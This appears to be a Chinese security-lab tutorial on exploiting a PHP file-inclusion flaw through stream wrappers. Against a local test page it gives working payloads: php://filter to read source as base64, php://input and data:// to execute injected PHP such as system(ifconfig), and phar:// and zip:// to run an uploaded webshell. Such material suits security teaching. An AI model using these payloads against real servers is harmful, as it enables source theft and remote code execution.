14.PHP伪协议利用
一.伪协议介绍
PHP支持以下几种协议:
file:// -访问本地文件系统
http:// -访问HTTP(s)网址
ftp:// -访问各个输入/输出流(I/O streams)
zlib:// -压缩流
data:// -数据(RFC 2397)
glob:// -查找匹配得文件路径模式
ssh2:// -Secure Shell 2
rar:// -RAR
ogg:// -音频流
exxpect:// -处理交互式的流
php:// 是一种伪协议,主要是开启了一个输入输出流,理解为文件数据传输的一个通道。php中的伪协议常使用的有如下几个:
php://input php://filter phar://
二.php://filter
当我们直接包含conn.php文件的时候,http://192.168.19.130:8443/security/Upload/fileinc.php?filename=../SQL/common.php
虽然代码已经调用,但是因为是php文档,被web容器解释,导致页面看不到源码内容。
这时候使用php://将我们要读取的文件放在数据流中,然后我们通过伪协议的方式读出来
php://filter/read/convert.base64-encode/resource=common.php
这段命令的意思就是打开数据流,把common.php的内容用base64编码的方式读出来
我们执行后,在页面上就能看到一串base64的编码,通过工具解码后就能看到明文源码
http://192.168.19.130:8443/security/Upload/fileinc.php?filename=php://input
三.php://input
此方法需要条件,即开启allow_url_include=On。实际上这相当于一个远程包含的利用。
php://打开文件流后,我们直接在流里面写入我们的恶意代码,此时包含即可执行代码。
http://192.168.19.130:8443/security/Upload/fileinc.php?filename=php://input
然后在POST请求中输入恶意代码,执行包含既可实现恶意代码的执行,比如:
<?php phpinfo(); ?>
<?php system(ifconfig); ?>
四.phpar://
主要是用于在php中对压缩文件格式的读取,这种方式通常是用来配合文件上传漏洞使用,或者进行进阶的phar反序列化攻击
用法就是把一句话木马压缩成zip格式,shell.txt -> shell.zip,然后再上传到服务器(后续通过前端页面上传也没有问题,通常
服务器不会限制zip文件),再访问:
http://192.168.19.130:8443/security/Upload/fileinc.php?filename=phar://temp/shell.zip/shell.txt
五.zip://
也是对压缩文件进行读取操作,原理与用法跟phar几乎一样。区别是:
1.zip只能包含单级目录,不能/shell.zip%23folder%23shell.txt,而phar支持多级。
2.在压缩文件内的目录符号,要改成#,且在浏览器中请求的华,还要进行url编码%23
http://192.168.19.130:8443/security/Upload/fileinc.php?filename=zip:///opt/lampp/htdocs/security/temp/shell.zip%23shell.txt
六.data://
data://本身是数据流封装器,其原理和用法跟php://input类似。
data://text/plain,<?php phpinfo(); ?>
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw==(这里使用base64编码,需要减去php代码中的结束符号?>)